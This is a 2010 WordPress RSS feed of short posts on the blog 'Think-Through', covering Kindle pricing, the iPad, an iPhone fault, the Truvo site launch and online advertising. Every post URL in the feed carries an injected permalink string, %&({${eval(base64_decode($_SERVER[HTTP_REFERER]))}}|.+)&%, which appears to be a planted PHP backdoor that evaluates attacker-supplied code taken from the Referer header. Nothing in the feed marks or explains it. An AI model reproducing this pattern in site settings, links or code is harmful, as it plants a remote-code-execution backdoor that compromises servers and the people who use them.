<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Think-Through</title>
	<atom:link href="http://www.think-through.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.think-through.com</link>
	<description>A place to think</description>
	<pubDate>Thu, 08 Jul 2010 05:43:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Kindle</title>
		<link>http://www.think-through.com/2010/07/08/kindle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2010/07/08/kindle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 05:43:07 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Random thoughts]]></category>

		<category><![CDATA[amazon]]></category>

		<category><![CDATA[books]]></category>

		<category><![CDATA[kindle]]></category>

		<guid isPermaLink="false">http://www.think-through.com/2010/07/08/kindle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Interesting discovery I just made. Bought a kindle book, and it ended up costing more than the paperback version. Probably a bit premature charging a premium to a nascent technology&#8230;  
]]></description>
			<content:encoded><![CDATA[<p>Interesting discovery I just made. Bought a kindle book, and it ended up costing more than the paperback version. Probably a bit premature charging a premium to a nascent technology&#8230;  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2010/07/08/kindle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ipad&#8217;s cool</title>
		<link>http://www.think-through.com/2010/06/14/ipads-cool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2010/06/14/ipads-cool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 21:08:58 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Random thoughts]]></category>

		<category><![CDATA[iPad]]></category>

		<guid isPermaLink="false">http://www.think-through.com/2010/06/14/ipads-cool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Well, you all already know it, I am pretty sure. But the iPad is really cool!
Still waiting for some good financial application (like charting software), and some other cool application i have yet to figure out i need, but this piece of technology is really cool. You need to own one, it completely changes the [...]]]></description>
			<content:encoded><![CDATA[<p>Well, you all already know it, I am pretty sure. But the iPad is really cool!<br />
Still waiting for some good financial application (like charting software), and some other cool application i have yet to figure out i need, but this piece of technology is really cool. You need to own one, it completely changes the online experience. Call it &#8216;laid back computing&#8217;, it&#8217;s going ti change the way we interact with technology and the Internet. A new era is about to start, you better realize it fast or you&#8217;ll be watching from the sidelines.   </p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2010/06/14/ipads-cool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>test blog post from iPad</title>
		<link>http://www.think-through.com/2010/06/09/test-blog-post-from-ipad/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2010/06/09/test-blog-post-from-ipad/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 21:40:18 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Random thoughts]]></category>

		<category><![CDATA[iPad]]></category>

		<guid isPermaLink="false">http://www.think-through.com/2010/06/09/test-blog-post-from-ipad/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Let me see how it works
How it paginates
See if it is cool enough
]]></description>
			<content:encoded><![CDATA[<p>Let me see how it works<br />
How it paginates<br />
See if it is cool enough</p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2010/06/09/test-blog-post-from-ipad/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>iPhone problems</title>
		<link>http://www.think-through.com/2010/03/29/iphone-problems/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2010/03/29/iphone-problems/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 29 Mar 2010 21:39:45 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Random thoughts]]></category>

		<category><![CDATA[iphone]]></category>

		<guid isPermaLink="false">http://www.think-through.com/?p=378</guid>
		<description><![CDATA[Hi there,
I am experience a quite annoying problem with my iPhone: it keeps on going back to the main page, every few minutes. Whether I am surfing, reading email, talking or other things, every 5 or so minutes it goes back to the main application page. It heats up a lot, and consumes a lot [...]]]></description>
			<content:encoded><![CDATA[<p>Hi there,</p>
<p>I am experience a quite annoying problem with my iPhone: it keeps on going back to the main page, every few minutes. Whether I am surfing, reading email, talking or other things, every 5 or so minutes it goes back to the main application page. It heats up a lot, and consumes a lot of juice (like 20/25% battery every hour). It doesn&#8217;t happen always, which is quite annoying as I am not sure what is due to. Already restored and got rid of quite a few applications, but after a couple of days of improvement, it went back doing it again.</p>
<p>Suggestions?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2010/03/29/iphone-problems/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Merry christmas</title>
		<link>http://www.think-through.com/2009/12/25/merry-christmas/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2009/12/25/merry-christmas/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 25 Dec 2009 21:30:40 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.think-through.com/2009/12/25/merry-christmas/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Hi everybody, just wishing you merry Christmas and taking the chance to post through the iPhone wordpress application. Checking out how it shows up.
Have a great 2010.
]]></description>
			<content:encoded><![CDATA[<p>Hi everybody, just wishing you merry Christmas and taking the chance to post through the iPhone wordpress application. Checking out how it shows up.<br />
Have a great 2010.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2009/12/25/merry-christmas/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The onion network news: Babysafe Ball</title>
		<link>http://www.think-through.com/2009/06/26/the-onion-network-news-babysafe-ball/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2009/06/26/the-onion-network-news-babysafe-ball/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 00:13:24 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[humour]]></category>

		<category><![CDATA[babysafe ball]]></category>

		<category><![CDATA[the onion network]]></category>

		<guid isPermaLink="false">http://www.think-through.com/?p=371</guid>
		<description><![CDATA[Just superb, another jewel from the onion network guys. Have fun with the clip, it&#8217;s worth it.

New BabySafe Ball Makes Shaking Your Infant Guilt And Injury Free
]]></description>
			<content:encoded><![CDATA[<p>Just superb, another jewel from the onion network guys. Have fun with the clip, it&#8217;s worth it.<br />
<object width="480" height="430" data="http://www.theonion.com/content/themes/common/assets/onn_embed/embedded_player.swf?image=http%3A%2F%2Fwww.theonion.com%2Fcontent%2Ffiles%2Fimages%2FBABY_ORB_article.jpg&amp;videoid=95414&amp;title=New%20BabySafe%20Ball%20Makes%20Shaking%20Your%20Infant%20Guilt%20And%20Injury%20Free" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="wmode" value="transparent" /><param name="src" value="http://www.theonion.com/content/themes/common/assets/onn_embed/embedded_player.swf?image=http%3A%2F%2Fwww.theonion.com%2Fcontent%2Ffiles%2Fimages%2FBABY_ORB_article.jpg&amp;videoid=95414&amp;title=New%20BabySafe%20Ball%20Makes%20Shaking%20Your%20Infant%20Guilt%20And%20Injury%20Free" /><param name="flashvars" value="image=http%3A%2F%2Fwww.theonion.com%2Fcontent%2Ffiles%2Fimages%2FBABY_ORB_article.jpg&amp;videoid=95414&amp;title=New%20BabySafe%20Ball%20Makes%20Shaking%20Your%20Infant%20Guilt%20And%20Injury%20Free" /></object><br />
<a href="http://www.theonion.com/content/video/new_babysafe_ball_makes_shaking?utm_source=videoembed">New BabySafe Ball Makes Shaking Your Infant Guilt And Injury Free</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2009/06/26/the-onion-network-news-babysafe-ball/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The new Truvo has launched!</title>
		<link>http://www.think-through.com/2009/06/25/the-new-truvo-has-launched/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2009/06/25/the-new-truvo-has-launched/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 25 Jun 2009 18:38:56 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Online advertising]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[AT&T]]></category>

		<category><![CDATA[local search and communities]]></category>

		<category><![CDATA[online advertising]]></category>

		<category><![CDATA[pay per inclusion]]></category>

		<category><![CDATA[qype]]></category>

		<category><![CDATA[Truvo]]></category>

		<category><![CDATA[Yellow Pages]]></category>

		<category><![CDATA[yelp]]></category>

		<guid isPermaLink="false">http://www.think-through.com/?p=355</guid>
		<description><![CDATA[At the beginning of the month we went live with our new user proposition, a local search and community site called -guess- Truvo.
The site is live in Belgium -for now-, and we will soon launch Portugal and Ireland.
It allows user to leave comments, reviews, ratings and pictures about places in Belgium. The database cover almost [...]]]></description>
			<content:encoded><![CDATA[<p>At the beginning of the month we went live with our new user proposition, a local search and community site called -guess- <a href="http://www.truvo.com">Truvo</a>.</p>
<div id="attachment_356" class="wp-caption aligncenter" style="width: 352px"><a href="http://www.truvo.com"><img class="size-full wp-image-356" title="Truvo" src="http://www.think-through.com/Blog/wp-content/uploads/2009/06/logo_home_en-us.png" alt="Turvo" width="342" height="86" /></a><p class="wp-caption-text">The New Truvo</p></div>
<p>The site is live in Belgium -for now-, and we will soon launch Portugal and Ireland.</p>
<p>It allows user to leave comments, reviews, ratings and pictures about places in Belgium. The database cover almost 800,000 &#8216;places&#8217;, and we got about 5,000 good quality reviews in the first weeks.</p>
<p>As searching and surfing habits are changing, Truvo is our attempt to satisfy such changing habits and youngish demographic that feels more comfortable in searching, contributing and sharing than just searching or looking up.</p>
<p>Truvo belongs to the same product domain that players like Yelp and Qype are occupying, and that -fresh off the press- also AT&amp;T is rushing into (possibly later this year?).</p>
<p>From my point of view, the biggest difference between a yellow pages site and a site like Truvo is in content control and ownership.</p>
<p>While in yellow the site owner controls (but doesn&#8217;t necessarily owns) the content, in a site like Truvo (or Yelp, or Qype), the site owner owns the content (contributors usually give up IP), but doesn&#8217;t control it - the user does-. Therefore the balance shifts toward the user, whereas in sites like yellow pages there is a general tendency to cater more for the advertiser needs.</p>
<p>This creates quite a dilemma from a monetization standpoint: if you control the content (like in yellow), then you have a &#8216;credible threat&#8217; in front of a prospect not to publish its site, it therefore follows that you can ask for some consideration for inclusion into the site. When you don&#8217;t control the content, such threat doesn&#8217;t exist, as any user can add content about a place, or even a place itself (and therefore a business). The advertiser can therefore add itself to the index, and the implicit &#8216;no-censorship&#8217; commitment from the publisher toward the user cannot be broken by taking the listing offline without undermining the user proposition and the nature of the site itself. At the end of the day, an advertiser is also a user.</p>
<p>It means that different products need to be used and developed to monetize the usage in a local search and community property versus a commercial look up property. I will stop here though, I don&#8217;t want to bother you with the details <img src='http://www.think-through.com/Blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2009/06/25/the-new-truvo-has-launched/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Augmented reality</title>
		<link>http://www.think-through.com/2009/06/22/augmented-reality/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2009/06/22/augmented-reality/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 19:10:39 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Random thoughts]]></category>

		<category><![CDATA[advertising online]]></category>

		<category><![CDATA[augmente reality]]></category>

		<category><![CDATA[contextual information]]></category>

		<category><![CDATA[mobile]]></category>

		<category><![CDATA[mobile advertising]]></category>

		<category><![CDATA[user experience]]></category>

		<guid isPermaLink="false">http://www.think-through.com/?p=338</guid>
		<description><![CDATA[Isn&#8217;t this just bloody cool?
A mobile application overlay on camera contextual information alllowing you to know more about reality, and to integrate what&#8217;s available online with what&#8217;s in front of you in the real world. Just imagine walking down the streets to see available houses for rent matching your search criterias? Or looking up relevant [...]]]></description>
			<content:encoded><![CDATA[<p>Isn&#8217;t this just bloody cool?</p>
<p>A mobile application overlay on camera contextual information alllowing you to know more about reality, and to integrate what&#8217;s available online with what&#8217;s in front of you in the real world. Just imagine walking down the streets to see available houses for rent matching your search criterias? Or looking up relevant content when visiting a new place, like information about monuments etc etc.</p>
<p>Imagine also the possibility to stick company logos on top of building and locations. Imagine the numerous possibilities for advertisinment, but also the risk to negatively impact the user experience if you overload him.</p>
<p>Cool stuff indeed.</p>
<p>Check <a href="http://layar.eu/">layar.eu.</a><br />
<object width="425" height="344" data="http://www.youtube.com/v/b64_16K2e08&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;hl=en&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.youtube.com/v/b64_16K2e08&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;hl=en&amp;feature=player_embedded&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2009/06/22/augmented-reality/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Social media spend at 500mn euros in Germany</title>
		<link>http://www.think-through.com/2009/06/20/social-media-spend-at-500mn-euros-in-germany/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2009/06/20/social-media-spend-at-500mn-euros-in-germany/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 19:36:32 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Online advertising]]></category>

		<category><![CDATA[ad spend]]></category>

		<category><![CDATA[display advertising]]></category>

		<category><![CDATA[germany online advertising]]></category>

		<category><![CDATA[search advertising]]></category>

		<category><![CDATA[social network monetizxation]]></category>

		<guid isPermaLink="false">http://www.think-through.com/?p=346</guid>
		<description><![CDATA[According to Webmarketstoday, social networking websites are harvesting more than 500mn euros in Germany this year, out of 33bn page-views, which are about a quarter of the total monthly page-views in Germany! Considering the online admarket is estimate at 2.2bn euros, it sounds like social networks have a higher monetization level than the rest of [...]]]></description>
			<content:encoded><![CDATA[<p>According to Webmarketstoday, social networking websites are harvesting more than 500mn euros in Germany this year, out of 33bn page-views, which are about a quarter of the total monthly page-views in Germany! Considering the online admarket is estimate at 2.2bn euros, it sounds like social networks have a higher monetization level than the rest of the display. Here is why:</p>
<p>Search is estimate at 1.5bn euros and it is known for very high monetization rates. It means the remaining 750mn euros of ad spend is display. As search doesn&#8217;t make up 70+% of the pageviews, but does make up 70%+ of revenues, and as social networks count for 25% of the total page-views and revenues, it goes without saying that the rest of the page-views are monetized at a much lower rate than on adnetworks (i.e. they make 10% of revenues for 50%+ of page views, which would be 1/5 of monetization than social network). Back of the envelope calculation, but directionally correct.</p>
<p>It would be interesting, if confirmed.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2009/06/20/social-media-spend-at-500mn-euros-in-germany/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Advertising forecast</title>
		<link>http://www.think-through.com/2009/06/19/advertising-forecast/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.think-through.com/2009/06/19/advertising-forecast/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 17:34:48 +0000</pubDate>
		<dc:creator>Gianluca Carrera</dc:creator>
		
		<category><![CDATA[Online advertising]]></category>

		<category><![CDATA[ad spend forecast]]></category>

		<category><![CDATA[advertising spend]]></category>

		<category><![CDATA[digital advertising]]></category>

		<category><![CDATA[media and entertainment]]></category>

		<category><![CDATA[mobile advertising]]></category>

		<category><![CDATA[newspaper]]></category>

		<category><![CDATA[online advertising]]></category>

		<category><![CDATA[PWC]]></category>

		<guid isPermaLink="false">http://www.think-through.com/?p=344</guid>
		<description><![CDATA[Gloomy expectations for advertising in the coming years. A recent report from PWC reports Ad Sales down 15% in 2009 in US to 161bn$. Worst performers, not surprisingly, the newspapers. Ad spending will keep on falling -although at a lower rate- till 2012. At that time, internet share (including mobile) of ad spend is expected [...]]]></description>
			<content:encoded><![CDATA[<p>Gloomy expectations for advertising in the coming years. A recent report from PWC reports Ad Sales down 15% in 2009 in US to 161bn$. Worst performers, not surprisingly, the newspapers. Ad spending will keep on falling -although at a lower rate- till 2012. At that time, internet share (including mobile) of ad spend is expected to be at 19% -WOW! That will be about 33.8bn$.</p>
<p>In the Global Entertainment and Media market, PWC expects at though 2010, a falt/consolidation phase in 2011, and return to growth in 2012.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.think-through.com/2009/06/19/advertising-forecast/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.535 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-09-03 07:38:49 -->
